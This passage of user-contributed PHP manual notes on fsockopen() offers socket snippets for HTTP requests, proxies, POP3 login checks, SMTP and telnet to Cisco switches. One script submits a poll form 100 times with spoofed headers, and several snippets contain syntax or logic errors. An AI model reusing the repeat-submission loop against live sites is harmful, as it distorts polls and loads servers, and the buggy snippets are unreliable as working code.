// Example usage...
//
$server  = '127.0.0.1';
$port    = '80';
$uri     = '/cgi-bin/random-cgi';
$content = 'Your post content...';

$post_results = httpPost($server,$port,$uri,$content);
if (!is_string($post_results)) {
    die('uh oh, something went wrong');
    } else {
    die('Here are your results: ' . $post_results);
    }

//
// Post provided content to an http server and optionally
// convert chunk encoded results.  Returns false on errors,
// result of post on success.  This example only handles http,
// not https.
//
function httpPost($ip=null,$port=80,$uri=null,$content=null) {
    if (empty($ip))         { return false; }
    if (!is_numeric($port)) { return false; }
    if (empty($uri))        { return false; }
    if (empty($content))    { return false; }
    // generate headers in array.
    $t   = array();
    $t[] = 'POST ' . $uri . ' HTTP/1.1';
    $t[] = 'Content-Type: text/html';
    $t[] = 'Host: ' . $ip . ':' . $port;
    $t[] = 'Content-Length: ' . strlen($content);
    $t[] = 'Connection: close';
    $t   = implode("\r\n",$t) . "\r\n\r\n" . $content;
    //
    // Open socket, provide error report vars and timeout of 10
    // seconds.
    //
    $fp  = @fsockopen($ip,$port,$errno,$errstr,10);
    // If we don't have a stream resource, abort.
    if (!(get_resource_type($fp) == 'stream')) { return false; }
    //
    // Send headers and content.
    //
    if (!fwrite($fp,$t)) {
        fclose($fp);
        return false;
        }
    //
    // Read all of response into $rsp and close the socket.
    //
    $rsp = '';
    while(!feof($fp)) { $rsp .= fgets($fp,8192); }
    fclose($fp);
    //
    // Call parseHttpResponse() to return the results.
    //
    return parseHttpResponse($rsp);
    }

//
// Accepts provided http content, checks for a valid http response,
// unchunks if needed, returns http content without headers on
// success, false on any errors.
//
function parseHttpResponse($content=null) {
    if (empty($content)) { return false; }
    // split into array, headers and content.
    $hunks = explode("\r\n\r\n",trim($content));
    if (!is_array($hunks) or count($hunks) < 2) {
        return false;
        }
    $header  = $hunks[count($hunks) - 2];
    $body    = $hunks[count($hunks) - 1];
    $headers = explode("\n",$header);
    unset($hunks);
    unset($header);
    if (!verifyHttpResponse($headers)) { return false; }
    if (in_array('Transfer-Encoding: chunked',$headers)) {
        return trim(unchunkHttpResponse($body));
        } else {
        return trim($body);
        }
    }

//
// Validate http responses by checking header.  Expects array of
// headers as argument.  Returns boolean.
//
function validateHttpResponse($headers=null) {
    if (!is_array($headers) or count($headers) < 1) { return false; }
    switch(trim(strtolower($headers[0]))) {
        case 'http/1.0 100 ok':
        case 'http/1.0 200 ok':
        case 'http/1.1 100 ok':
        case 'http/1.1 200 ok':
            return true;
        break;
        }
    return false;
    }

//
// Unchunk http content.  Returns unchunked content on success,
// false on any errors...  Borrows from code posted above by
// jbr at ya-right dot com.
//
function unchunkHttpResponse($str=null) {
    if (!is_string($str) or strlen($str) < 1) { return false; }
    $eol = "\r\n";
    $add = strlen($eol);
    $tmp = $str;
    $str = '';
    do {
        $tmp = ltrim($tmp);
        $pos = strpos($tmp, $eol);
        if ($pos === false) { return false; }
        $len = hexdec(substr($tmp,0,$pos));
        if (!is_numeric($len) or $len < 0) { return false; }
        $str .= substr($tmp, ($pos + $add), $len);
        $tmp  = substr($tmp, ($len + $pos + $add));
        $check = trim($tmp);
        } while(!empty($check));
    unset($tmp);
    return $str;
    }

?>
jabeba at web dot de 17-Apr-2008 06:21
If you have to use a proxy to make requests outside of your local network, you may use this class:

<?php
/*
 *
 * No Proxy Authentification Implemented; PHP 5
 *
 */

class RemoteFopenViaProxy {

    private $result;
    private $proxy_name;
    private $proxy_port;
    private $request_url;

    public function get_proxy_name() {
        return $this->proxy_name;
    }

    public function set_proxy_name($n) {
        $this->proxy_name = $n;
    }

    public function get_proxy_port() {
        return $this->proxy_port;
    }

    public function set_proxy_port($p) {
        $this->proxy_port = $p;
    }

    public function get_request_url() {
        return $this->request_url;
    }

    public function set_request_url($u) {
        $this->request_url = $u;
    }

    public function get_result() {
        return $this->result;
    }

    public function set_result($r) {
        $this->result = $r;
    }

    private function get_url_via_proxy() {

        $proxy_fp = fsockopen($this->get_proxy_name(), $this->get_proxy_port());

        if (!$proxy_fp) {
            return false;
        }
        fputs($proxy_fp, "GET " . $this->get_request_url() . " HTTP/1.0\r\nHost: " . $this->get_proxy_name() . "\r\n\r\n");
        while (!feof($proxy_fp)) {
            $proxy_cont .= fread($proxy_fp, 4096);
        }
        fclose($proxy_fp);
        $proxy_cont = substr($proxy_cont, strpos($proxy_cont, "\r\n\r\n") + 4);
        return $proxy_cont;

    }

    private function get_url($url) {
        $fd = @ file($url);
        if ($fd) {
            return $fd;
        } else {
            return false;
        }
    }

    private function logger($line, $file) {
        $fd = fopen($file . ".log", "a+");
        fwrite($fd, date("Ymd G:i:s") . " - " . $file . " - " . $line . "\n");
        fclose($fd);
    }

    function __construct($url, $proxy_name = "", $proxy_port = "") {

        $this->set_request_url($url);
        $this->set_proxy_name($proxy_name);
        $this->set_proxy_port($proxy_port);

    }

    public function request_via_proxy() {

        $this->set_result($this->get_url_via_proxy());
        if (!$this->get_result()) {
            $this->logger("FAILED: get_url_via_proxy(" . $this->get_proxy_name() . "," . $this->get_proxy_port() . "," . $this->get_request_url() . ")", "RemoteFopenViaProxyClass.log");
        }
    }

    public function request_without_proxy() {

        $this->set_result($this->get_url($this->get_request_url()));
        if (!$this->get_result()) {
            $this->logger("FAILED: get_url(" . $url . ")", "RemoteFopenViaProxyClass.log");
        }
    }
}
?>

Use it this way:

<?php
// call constructor
$obj = new RemoteFopenViaProxy($insert_request_url, $insert_proxy_name, $insert_proxy_port);
// change settings after object generation
$obj->set_proxy_name($insert_proxy_name);
$obj->set_proxy_port($insert_proxy_port);
$obj->set_request_url($insert_request_url);
$obj->request_via_proxy();
echo $obj->get_result();
?>

If there are errors during execution, the script tries to write some useful information into a log file.
huli0401 at gmail dot com 27-Dec-2007 09:12
<?php
// Check for new version
    $current_version = explode('.', '1.0.00');
    $minor_revision = (int) $current_version[2];

    $errno = 0;
    $errstr = $version_info = '';

    if ($fsock = fsockopen("www.exanmple.eu", 80, $errno, $errstr, 30))
    {
        @fputs($fsock, "GET /ver.txt HTTP/1.1\r\n");
        @fputs($fsock, "HOST: www.example.eu\r\n");
        @fputs($fsock, "Connection: close\r\n\r\n");

        $get_info = false;
        while (!@feof($fsock))
        {
            if ($get_info)
            {
                $version_info .= @fread($fsock, 1024);
            }
            else
            {
                if (@fgets($fsock, 1024) == "\r\n")
                {
                    $get_info = true;
                }
            }
        }
        @fclose($fsock);

        $version_info = explode("\n", $version_info);
        $latest_head_revision = (int) $version_info[0];
        $latest_minor_revision = (int) $version_info[2];
        $latest_version = (int) $version_info[0] . '.' . (int) $version_info[1] . '.' . (int) $version_info[2];

        if ($latest_head_revision == 2 && $minor_revision == $latest_minor_revision)
        {
            $version_info = '<p style="color:green">OK</p>';
        }
        else
        {
            $version_info = '<p style="color:red">neaktualne';
            $version_info .= '<br />'Latest_version_info' . $latest_version) . ' ' . sprintf(Current_version_info'. '1.0.00') . '</p>';
        }
    }
    else
    {
        if ($errstr)
        {
            $version_info = '<p style="color:red">' . sprintf(Connect_socket_error) . '</p>';
        }
        else
        {
            $version_info = '<p>'Socket_functions_disabled'</p>';
        }
    }

    $version_info .= '<p>'Mailing_list_subscribe_reminder'</p>';

echo $version_info;
?>
anarchy 04-Sep-2007 06:34
The DEFAULT stream timeout is set according to default_socket_timeout in your php.ini file.  Took forever for me to dig that up....
bradland at umich dot edu 23-Jul-2007 09:32
I was having trouble doing an https in fopen and with fsockopen where the address had ssl://.  I was getting error code 114 in the log.  After much research i found that there was some ssl conflict trouble with MySQL 5.0.20-5.0.33.  It had some functions that were interfering with openssl that showed up in the php install.

http://bugs.mysql.com/bug.php?id=21930
http://bugs.mysql.com/bug.php?id=19289
Alexander Wegener 26-May-2007 07:29
To check if a Url is Online (with http and https)
Using @fgets to hide Warning when using SSL
(Bug: "Warning: function.fgets SSL: fatal protocol error", http://bugs.php.net/bug.php?id=23220)

<?php

    function isOnline($url) {
        if (!$url_info = parse_url($url)) {
            return false;
        }

        switch ($url_info['scheme']) {
            case 'https':
                $scheme = 'ssl://';
                $port = 443;
                break;
            case 'http':
            default:
                $scheme = '';
                $port = 80;
        }

        $data = "";
        $fid = @fsockopen($scheme . $url_info['host'], $port, $errno, $errstr, 30);
        if ($fid) {
            fputs($fid, 'HEAD ' . (isset($url_info['path'])? $url_info['path']: '/') . (isset($url_info['query'])? '?' . $url_info['query']: '') . " HTTP/1.0\r\n" .
                        "Connection: close\r\n" .
                        'Host: ' . $url_info['host'] . "\r\n\r\n");
            while (!feof($fid)) {
                $data .= @fgets($fid, 128);
            }
            fclose($fid);
            return !empty($data);
        } else {
            return false;
        }
    }

?>
ryan1_00 at hotmail dot com 29-Jan-2007 07:52
This script checks specific ports so you need to have the correct port open on the server for this to work.

E.g if i have a windows domain controller and it is servering LDAP then the following would be used to check it is online:
<?php
chkServer("MyDC", "389");
?>

for a webserver:
<?php
chkServer("MyWebSvr", "80");
?>

etc etc
--------------------------------------------------------

<?php
// check if a server is up by connecting to a port
function chkServer($host, $port)
{
    $hostip = @gethostbyname($host); // resloves IP from Hostname returns hostname on failure

    if ($hostip == $host) // if the IP is not resloved
    {
        echo "Server is down or does not exist";
    }
    else
    {
        if (!$x = @fsockopen($hostip, $port, $errno, $errstr, 5)) // attempt to connect
        {
            echo "Server is down";
        }
        else
        {
            echo "Server is up";
            if ($x)
            {
                @fclose($x); //close connection
            }
        }
    }
}
?>
v13+phpnet at it dot teithe dot gr 24-Jan-2007 03:01
The following function performs pop3 authentication. Returns NULL on error, or true/false to indicate username/password matching:

$address is the hostname of the server and $ssl is a boolean that indicates whether an SSL connection is requested.

<?php
function pop3authCheck($username, $password, $address, $ssl)
{
    if ($ssl)
        $uri="ssl://$address:995";
    else
        $uri="tcp://$address:110";

    $fp=fsockopen($uri);

    if (!$fp)
        return(NULL);

    $st=fgets($fp, 512);
    if (substr($st, 0, 3)!="+OK")
    {
        fclose($fp);
        return(NULL);
    }

    $st="USER $username\n";
    if (fwrite($fp, $st)!=strlen($st))
    {
        fclose($fp);
        return(NULL);
    }

    $st=fgets($fp, 512);
    if (substr($st, 0, 3)!="+OK")
    {
        fclose($fp);
        return(NULL);
    }

    $st="PASS $password\n";
    if (fwrite($fp, $st)!=strlen($st))
    {
        fclose($fp);
        return(NULL);
    }

    $st=fgets($fp, 512);
    fclose($fp);
    if (substr($st, 0, 3)=="+OK")
        return(true);
    else if (substr($st, 0, 4)=="+ERR")
        return(false);
    else
        return(NULL);
}
?>
Duukkis 27-Feb-2006 05:13
Lots of tries and lots of reading http-headers...

If you want to post $_POST vars and (in this case) one file named userfile to $remote_server and $remote_url.

<?php
        // get the necessary data
        $file_name = $_FILES['userfile']['name'];     // the file
        $tmp_name = $_FILES['userfile']['tmp_name'];     // the file
        $content_type = $_FILES['userfile']['type'];     // the file mime type

        srand((double)microtime()*1000000);
        $boundary = "---------------------".substr(md5(rand(0,32000)),0,10);

        // Build the header
        $header = "POST $remote_url HTTP/1.0\r\n";
        $header .= "Host: $remote_server\r\n";
        $header .= "Content-type: multipart/form-data, boundary=$boundary\r\n";
        // attach post vars
        foreach($_POST AS $index => $value){
            $data .="--$boundary\r\n";
            $data .= "Content-Disposition: form-data; name=\"".$index."\"\r\n";
            $data .= "\r\n".$value."\r\n";
            $data .="--$boundary\r\n";
        }
        // and attach the file
        $data .= "--$boundary\r\n";
        $content_file = join("", file($tmp_name));
        $data .="Content-Disposition: form-data; name=\"userfile\"; filename=\"$file_name\"\r\n";
        $data .= "Content-Type: $content_type\r\n\r\n";
        $data .= "".$content_file."\r\n";
        $data .="--$boundary--\r\n";
        $header .= "Content-length: " . strlen($data) . "\r\n\r\n";
                 // Open the connection
        $fp = fsockopen($remote_server, 80);
        // then just
        fputs($fp, $header.$data);
        fclose($fp);
?>
Kiki_EF 27-Oct-2005 12:20
Additional ICQ status request over proxy
<?php
function icq_uin($uin)
{
    if (! is_numeric($uin))
        return false;
    $proxy_name = 'proxy.mydomain.de';
    $proxy_port = 8080;
    $proxy_user = "";
    $proxy_pass = "";
    $proxy_cont = '';
    $request_url = "http://status.icq.com/online.gif?icq=$uin";

    $proxy_fp = fsockopen($proxy_name, $proxy_port);
    if (!$proxy_fp)
        return false;
    fputs($proxy_fp, "GET $request_url HTTP/1.0\r\nHost: $proxy_name\r\n");
    fputs($proxy_fp, "Proxy-Authorization: Basic ". base64_encode ("$proxy_user:$proxy_pass")."\r\n\r\n");
    while(!feof($proxy_fp)){
        $proxy_cont .= fread($proxy_fp,4096);
    }
    fclose($proxy_fp);
    $proxy_cont = substr($proxy_cont, strpos($proxy_cont,"\r\n\r\n")+4);
    if (strstr($proxy_cont, 'online1'))
        return 'online';
    if (strstr($proxy_cont, 'online0'))
        return 'offline';
    if (strstr($proxy_cont, 'online2'))
        return 'disabled';
}
echo "User is ".icq_uin(123456789012345);
?>

Thanx

[EDIT BY danbrown AT php DOT net: Based on code provided in a note by (rafaelbc AT matrix DOT com DOT br) on 23-MAY-09, which has since been removed.]
robin at pozytron dot com 21-Aug-2005 03:38
I have found, when using fsockopen() and the POST method, that using HTTP/1.1 is VERY significantly slower than HTTP/1.0 (at least for the server I'm querying, an Orion-based server). Also, using cURL tended to be faster than fsockopen(), though only slightly. For example, here was a recent set of data (for the same exact request in each case):

cURL: 4.2sec
fsockopen() HTTP/1.0: 4.9sec
fsockopen() HTTP/1.1: 19.9sec (!)

I'm not sure why this was occurring. Perhaps it has something to do with the Orion server, which I have little experience with. However, it was not a fluke, and I double-checked the code to make sure there were no errors.

EDITORS NOTE: HTTP/1.1 uses persistent connection causing this delay. Use "Connection: close" header to disable it.
richard dot lajaunie at cote-azur dot cci dot fr 19-May-2005 12:10
<?php
/************************************************************
* Author: Richard Lajaunie
* Mail : richard.lajaunie@cote-azur.cci.fr
*
* subject : this script retreive all mac-addresses on all ports
* of a Cisco 3548 Switch by a telnet connection
*
* base on the script by: xbensemhoun at t-systems dot fr
**************************************************************/

if ( array_key_exists(1, $argv) ){
   $cfgServer = $argv[1];
}else{
   echo "ex: 'php test.php 10.0.0.0' \n";
   exit;
}

$cfgPort    = 23;                //port, 22 if SSH
$cfgTimeOut = 10;

$usenet = fsockopen($cfgServer, $cfgPort, $errno, $errstr), $cfgTimeOut);

if(!$usenet){
       echo "Connexion failed\n";
       exit();
}else{
       echo "Connected\n";
       fputs ($usenet, "password\r\n");
       fputs ($usenet, "en\r\n");
       fputs ($usenet, "password\r\n");
       fputs ($usenet, "sh mac-address-table\r\n");
       fputs ($usenet, " "); // this space bar is this for long output

       // this skip non essential text
       $j = 0;
       while ($j<16){
       fgets($usenet, 128);
       $j++;
       }
   stream_set_timeout($usenet, 2); // set the timeout for the fgets
   $j = 0;
       while (!feof($usenet)){
       $ret = fgets($usenet, 128);
       $ret = str_replace("\r", '', $ret);
       $ret = str_replace("\n", "", $ret);
       if  (ereg("FastEthernet", $ret)){
           echo "$ret \n";
       }
       if (ereg('--More--', $ret) ){
           fputs ($usenet, " "); // for following page
       }
       $info = stream_get_meta_data($usenet);
       if ($info['timed_out']) {
           $j++;
       }
       if ($j >2){
           fputs ($usenet, "lo");
           break;
       }
   }
}
echo "End.\r\n";
?>
saul dot dobney at dobney dot com 19-Apr-2005 08:40
If you are using fsockopen to access webpage, but come across a redirect (Location: ) in the header and want to find and follow the redirect as in this snippet:

<?php
while (!feof($fp)) {
   $line=fgets($fp, 1024);
   if (stristr($line,"location:")!="") {
    $redirect=preg_replace("/location:/i","",$line);
   }
}
?>

Then don't forget to <?php $redirect = trim($redirect); ?> before trying to follow this new link as $redirect actually has a \r\n on the end of it and won't give you a valid path in the next iteration otherwise. A six hour bug.

Saul Dobney
konrad dot meyer at gmail dot com 12-Feb-2005 01:34
The documentation example is of a GET request. I have found POST documentation to be lacking, and here's a function to easily simulate submitting form data:

<?php
# $host includes host and path and filename
    # ex: "myserver.com/this/is/path/to/file.php"
# $query is the POST query data
    # ex: "a=thisstring&number=46&string=thatstring
# $others is any extra headers you want to send
    # ex: "Accept-Encoding: compress, gzip\r\n"
function post($host,$query,$others=''){
    $path=explode('/',$host);
    $host=$path[0];
    unset($path[0]);
    $path='/'.(implode('/',$path));
    $post="POST $path HTTP/1.1\r\nHost: $host\r\nContent-type: application/x-www-form-urlencoded\r\n${others}User-Agent: Mozilla 4.0\r\nContent-length: ".strlen($query)."\r\nConnection: close\r\n\r\n$query";
    $h=fsockopen($host,80);
    fwrite($h,$post);
    for($a=0,$r='';!$a;){
        $b=fread($h,8192);
        $r.=$b;
        $a=(($b=='')?1:0);
    }
    fclose($h);
    return $r;
}
?>
edwin at bitstorm dot org 02-Dec-2004 05:50
Here's a function to just fetch the contents behind an URL.

<?php
function fetchURL( $url ) {
    $url_parsed = parse_url($url);
    $host = $url_parsed["host"];
    $port = $url_parsed["port"];
    if ($port==0)
        $port = 80;
    $path = $url_parsed["path"];
    if ($url_parsed["query"] != "")
        $path .= "?".$url_parsed["query"];

    $out = "GET $path HTTP/1.0\r\nHost: $host\r\n\r\n";

    $fp = fsockopen($host, $port, $errno, $errstr, 30);

    fwrite($fp, $out);
    $body = false;
    while (!feof($fp)) {
        $s = fgets($fp, 1024);
        if ( $body )
            $in .= $s;
        if ( $s == "\r\n" )
            $body = true;
    }

    fclose($fp);

    return $in;
}
?>
michiel at parse dot nl 25-Oct-2004 04:42
The following snippet allows you to retrieve the title of a page.

Great for rewriting auto-url detectors to display the actual title rather then http://...

<?php
echo get_url_title("http://www.php.net/cal.php?id=409");

function get_url_title($url, $timeout = 2)
{
    $url = parse_url($url);

    if(!in_array($url['scheme'],array('','http')))
        return;

    $fp = fsockopen ($url['host'], ($url['port'] > 0 ? $url['port'] : 80), $errno, $errstr, $timeout);
    if (!$fp)
    {
        return;
        // echo "$errstr ($errno)<br>\n";
    }
    else
    {
        fputs ($fp, "GET /".$url['path'].($url['query'] ? '?'.$url['query'] : '')." HTTP/1.0\r\nHost: ".$url['host']."\r\n\r\n");
        $d = '';
        while (!feof($fp))
        {
            $d .= fgets ($fp,2048);

            if(preg_match('~(</head>|<body>|(<title>\s*(.*?)\s*</title>))~i', $d, $m))
                break;
        }
        fclose ($fp);

        return $m[3];
    }
}
?>
jack at jtr dot de 16-Feb-2004 02:05
Here is a function for testing a website/URI for availability:

<?php
    /*
    * @return boolean
    * @param  string $link
    * @desc   ?berpr?ft die angegeben URL auf Erreichbarkeit (HTTP-Code: 200)
    */
    function url_validate( $link )
    {
        $url_parts = @parse_url( $link );

        if ( empty( $url_parts["host"] ) ) return( false );

        if ( !empty( $url_parts["path"] ) )
        {
            $documentpath = $url_parts["path"];
        }
        else
        {
            $documentpath = "/";
        }

        if ( !empty( $url_parts["query"] ) )
        {
            $documentpath .= "?" . $url_parts["query"];
        }

        $host = $url_parts["host"];
        $port = $url_parts["port"];
        // Now (HTTP-)GET $documentpath at $host";

        if (empty( $port ) ) $port = "80";
        $socket = @fsockopen( $host, $port, $errno, $errstr, 30 );
        if (!$socket)
        {
            return(false);
        }
        else
        {
            fwrite ($socket, "HEAD ".$documentpath." HTTP/1.0\r\nHost: $host\r\n\r\n");
            $http_response = fgets( $socket, 22 );

            if ( ereg("200 OK", $http_response, $regs ) )
            {
                return(true);
                fclose( $socket );
            } else
            {
//                echo "HTTP-Response: $http_response<br>";
                return(false);
            }
        }
    }
?>
sir_reality2001 at yahoo dot com 13-Feb-2004 09:45
<?php
// This script is an example of posting multiple files using
// fsockopen.
// The tricky part is making sure the HTTP headers and file boundaries are acceptable to the target webserver.
// This script is for example purposes only and could/should be improved upon.

$host='targethost';
$port=80;
$path='/test/socket/file_upload/receive_files.php';

// the file you want to upload
$file_array[0] = "dingoboy.gif"; // the file
$file_array[1] = "dingoboy2.gif"; // the file
$file_array[2] = "dingoboy3.gif"; // the file
$content_type = "image/gif"; // the file mime type
//$content_type = "text/plain";
//echo "file_array[0]:$file_array[0]<br><br>";

srand((double)microtime()*1000000);
$boundary = "---------------------------".substr(md5(rand(0,32000)),0,10);

$data = "--$boundary";

for($i=0;$i<count($file_array);$i++){
   $content_file = join("", file($file_array[$i]));

   $data.="
Content-Disposition: form-data; name=\"file".($i+1)."\"; filename=\"$file_array[$i]\"
Content-Type: $content_type

$content_file
--$boundary";

}

$data.="--\r\n\r\n";

$msg =
"POST $path HTTP/1.0
Content-Type: multipart/form-data; boundary=$boundary
Content-Length: ".strlen($data)."\r\n\r\n";

$result="";

// open the connection
$f = fsockopen($host, $port);

fputs($f,$msg.$data);

// get the response
while (!feof($f)) $result .= fread($f,32000);

fclose($f);

?>
asalamanca at redcetus dot com 18-Nov-2003 11:27
This is a very fast program for test a form or link (many times).
<?php
$repeat  = 100;  // How many times repeat the test

$timeout = 100;  // Max time for stablish the conection
$size    = 16;   // Bytes will be read (and display). 0 for read all

$server  = '127.0.0.1';            // IP address
$host    = 'www.example.net';             // Domain name
$target  = '/poll/answer.asp';        // Specific program
$referer = 'http://www.example.com/';    // Referer
$port    = 80;

// Setup an array of fields to get with then create the get string
$gets = array ( 'get_field_1' => 'somevalue',
                'get_field_2' => 'somevalue' );

// Setup an array of fields to post with then create the post string
$posts = array ( 'post_field_1' => 'somevalue',
                 'post_field_2' => 'somevalue' );

// That's all. Now the program proccess $repeat times

$method = "GET";
if ( is_array( $gets ) ) {
    $getValues = '?';
    foreach( $gets AS $name => $value ){
        $getValues .= urlencode( $name ) . "=" . urlencode( $value ) . '&';
    }
    $getValues = substr( $getValues, 0, -1 );
} else {
    $getValues = '';
}

if ( is_array( $posts ) ) {
    foreach( $posts AS $name => $value ){
        $postValues .= urlencode( $name ) . "=" . urlencode( $value ) . '&';
    }
    $postValues = substr( $postValues, 0, -1 );
    $method = "POST";
} else {
    $postValues = '';
}

$request  = "$method $target$getValues HTTP/1.1\r\n";
$request .= "Host: $host\r\n";
$request .= 'User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.2.1) ';
$request .= "Gecko/20021204\r\n";
$request .= 'Accept: text/xml,application/xml,application/xhtml+xml,';
$request .= 'text/html;q=0.9,text/plain;q=0.8,video/x-mng,image/png,';
$request .= "image/jpeg,image/gif;q=0.2,text/css,*/*;q=0.1\r\n";
$request .= "Accept-Language: en-us, en;q=0.50\r\n";
$request .= "Accept-Encoding: gzip, deflate, compress;q=0.9\r\n";
$request .= "Accept-Charset: ISO-8859-1, utf-8;q=0.66, *;q=0.66\r\n";
$request .= "Keep-Alive: 300\r\n";
$request .= "Connection: keep-alive\r\n";
$request .= "Referer: $referer\r\n";
$request .= "Cache-Control: max-age=0\r\n";

if ( $method == "POST" ) {
    $lenght = strlen( $postValues );
    $request .= "Content-Type: application/x-www-form-urlencoded\r\n";
    $request .= "Content-Length: $lenght\r\n";
    $request .= "\r\n";
    $request .= $postValues;
}

for ( $i = 0; $i < $repeat; $i++ ) {
    $socket  = fsockopen( $server, $port, $errno, $errstr, $timeout );
    fputs( $socket, $request );
    if ( $size > 0 ) {
        $ret = fgets( $socket, $size );
    } else {
        $ret = '';
        while ( !feof( $socket ) ) {
            $ret .= fgets( $socket, 4096 );
        }
    }
    fclose( $socket );
    echo "<hr> $i -- $content $ret";
}
?>

Alejandro Salamanca
terminal 23-Oct-2003 12:30
Try this.
Use AUTH when necessary.
Read RFC 821 when having problems.

<?php

    $handle = smtp_connect($smtp_server, 25, 30, 1, 1, 1);
    echo smtp_command($handle, "EHLO $domain\r\n", 1, 1);
    echo smtp_command($handle, "MAIL FROM:<$from_mail>\r\n", 1, 1);
    echo smtp_command($handle, "RCPT TO:<$to_mail>\r\n", 1, 1);
    echo smtp_command($handle, "DATA\r\n", 1, 1);
    echo smtp_command($handle, "$message\r\n.\r\n", 1, 1);
    // don't do it like this - it will hang up
    // echo smtp_command($handle, "$message", 1, 1);
    // echo smtp_command($handle, "\r\n.\r\n", 1, 1);
    echo smtp_command($handle, "QUIT\r\n", 1, 1);
    smtp_close($handle);

    function smtp_connect($host, $port, $timeout=30, $echo_command=False, $echo_response=False, $nl2br=False)
    {
        $errno = 0;
        $errstr = 0;
        if($echo_command)
        {
            if($nl2br) { echo nl2br("CONNECTING TO $host\r\n"); }
            else { echo "CONNECTING TO $host\r\n"; }
        }
        $handle = fsockopen($host, $port, $errno, $errstr, $timeout);
        if(!$handle)
        {
            if($echo_command)
            {
                if($nl2br) { echo nl2br("CONNECTION FAILED\r\n"); }
                else { echo "CONNECTION FAILED\r\n"; }
            }
            return False;
        }
        if($echo_command)
        {
            if($nl2br) { echo nl2br("SUCCESS\r\n"); }
            else { echo "SUCCESS\r\n"; }
        }
        $response = fgets($handle,1);
        $bytes_left = socket_get_status($handle);
        if ($bytes_left > 0) { $response .= fread($handle, $bytes_left["unread_bytes"]); }
        if($echo_response)
        {
            if($nl2br) { echo nl2br($response); }
            else { echo $response; }
        }
        return $handle;
    }

    function smtp_command($handle, $command, $echo_command=False, $nl2br=False)
    {
        if($echo_command)
        {
            if($nl2br) { echo nl2br($command); }
            else { echo $command; }
        }
        fputs($handle, $command);
        $response = fgets($handle,1);
        $bytes_left = socket_get_status($handle);
        if ($bytes_left > 0) { $response .= fread($handle, $bytes_left["unread_bytes"]); }
        if($nl2br) { return nl2br($response); }
        else { return $response; }
    }

    function smtp_close($handle)
    {
        fclose($handle);
    }
?>
richardaburton at hotmail dot com 19-Oct-2003 08:29
Improved HTTP/1.1 chunked transfer-encoding example.

The sample code given below by Jack does not function correctly when run against a recent version of Apache (I'm assuming that this did once work, but from the HTTP/1.1 spec I can only assume if it did work it was based mostly on luck).

<?php

$header = "";
$response = "";

// connect
if (!($request=fsockopen('example.com',80,$errno,$errstr))) exit($errstr);
else {
   socket_set_timeout($request,10);
   // send request
   fwrite($request,$post);
   // get header
   do $header.=fread($request,1); while (!preg_match('/\\r\\n\\r\\n$/',$header));
   // check for chunked encoding
   if (preg_match('/Transfer\\-Encoding:\\s+chunked\\r\\n/',$header))
      do {
         $byte = "";
         $chunk_size="";
         do {
            $chunk_size.=$byte;
            $byte=fread($request,1);
         } while ($byte!="\\r");      // till we match the CR
         fread($request, 1);         // also drop off the LF
         $chunk_size=hexdec($chunk_size); // convert to real number
         $response.=fread($request,$chunk_size);
         fread($request,2);          // ditch the CRLF that trails the chunk
      } while ($chunk_size);         // till we reach the 0 length chunk (end marker)
   else {
      // check for specified content length
      if (preg_match('/Content\\-Length:\\s+([0-9]*)\\r\\n/',$header,$matches)) {
         $response=fread($request,$matches[1]);
      } else {
         // not a nice way to do it (may also result in extra CRLF which trails the real content???)
         while (!feof($request)) $response .= fread($request, 4096);
      }
   }
   // close connection
   fclose($request);
}

// do something useful with the response
print($header);
print($response);

?>

Richard.
joe at edwardsconsultants dot com 10-Aug-2003 02:56
just a quick note for users attempting https and thinking they must resort to curl or alternate methods -
you can use fsockopen, just read the docs closely.  basically they are saying to use 'ssl://' for a HTTPS (SSL) web request.

so this would work for authorize.net, and others; even for that paypal IPN - however I think it would be best to leave the site and deal with paypal's form:

<?php
$host = "something.example.com";
$port = 443;
$path = "/the/url/path/file.php"; //or .dll, etc. for authnet, etc.

//you will need to setup an array of fields to post with
//then create the post string
$formdata = array ( "x_field" => "somevalue");
//build the post string
  foreach($formdata AS $key => $val){
    $poststring .= urlencode($key) . "=" . urlencode($val) . "&";
  }
// strip off trailing ampersand
$poststring = substr($poststring, 0, -1);

$fp = fsockopen("ssl://".$host, $port, $errno, $errstr, $timeout = 30);

if(!$fp){
 //error tell us
 echo "$errstr ($errno)\n";

}else{

  //send the server request
  fputs($fp, "POST $path HTTP/1.1\r\n");
  fputs($fp, "Host: $host\r\n");
  fputs($fp, "Content-type: application/x-www-form-urlencoded\r\n");
  fputs($fp, "Content-length: ".strlen($poststring)."\r\n");
  fputs($fp, "Connection: close\r\n\r\n");
  fputs($fp, $poststring . "\r\n\r\n");

  //loop through the response from the server
  while(!feof($fp)) {
    echo fgets($fp, 4096);
  }
  //close fp - we are done with it
  fclose($fp);
}
?>
brage (a t) jeffnappi (d.o.t) commie 10-Jul-2003 02:16
thought you guys may appreciate this function, allows you to pass an array of urls to download and does so simultaneously using non-blocking sockets, then returns the data in an array.

<?php
// function connects to an array of URLS at the same time
// and returns an array of results.

function multiHTTP ($urlArr) {
 $sockets = Array(); // socket array!
 $urlInfo = Array(); // info arr
 $retDone = Array();
 $retData = Array();
 $errno   = Array();
 $errstr  = Array();
 for ($x=0;$x<count($urlArr);$x++) {
  $urlInfo[$x] = parse_url($urlArr[$x]);
  $urlInfo[$x][port] = ($urlInfo[$x][port]) ? $urlInfo[$x][port] : 80;
  $urlInfo[$x][path] = ($urlInfo[$x][path]) ? $urlInfo[$x][path] : "/";
  $sockets[$x] = fsockopen($urlInfo[$x][host], $urlInfo[$x][port],
                           $errno[$x], $errstr[$x], 30);
  socket_set_blocking($sockets[$x],FALSE);
  $query = ($urlInfo[$x][query]) ? "?" . $urlInfo[$x][query] : "";
  fputs($sockets[$x],"GET " . $urlInfo[$x][path] . "$query HTTP/1.0\r\nHost: " .
        $urlInfo[$x][host] . "\r\n\r\n");
 }
 // ok read the data from each one
 $done = false;
 while (!$done) {
  for ($x=0; $x < count($urlArr);$x++) {
   if (!feof($sockets[$x])) {
    if ($retData[$x]) {
     $retData[$x] .= fgets($sockets[$x],128);
    } else {
     $retData[$x] = fgets($sockets[$x],128);
    }
   } else {
    $retDone[$x] = 1;
   }
  }
  $done = (array_sum($retDone) == count($urlArr));
 }
 return $retData;
}
?>
xbensemhoun at t-systems dot fr 25-Jun-2003 02:48
To make a telnet connection with a Cisco router:

<?php
$cfgServer = "nnn.nnn.nnn.nnn";  //IP of your router
$cfgPort    = 23;                //port, 22 if SSH
$cfgTimeOut = 10;

$usenet = fsockopen($cfgServer, $cfgPort, $errno, $errstr, $cfgTimeOut);

if(!$usenet)
        {
        echo "Connexion failed\n";
        exit();
        }
else
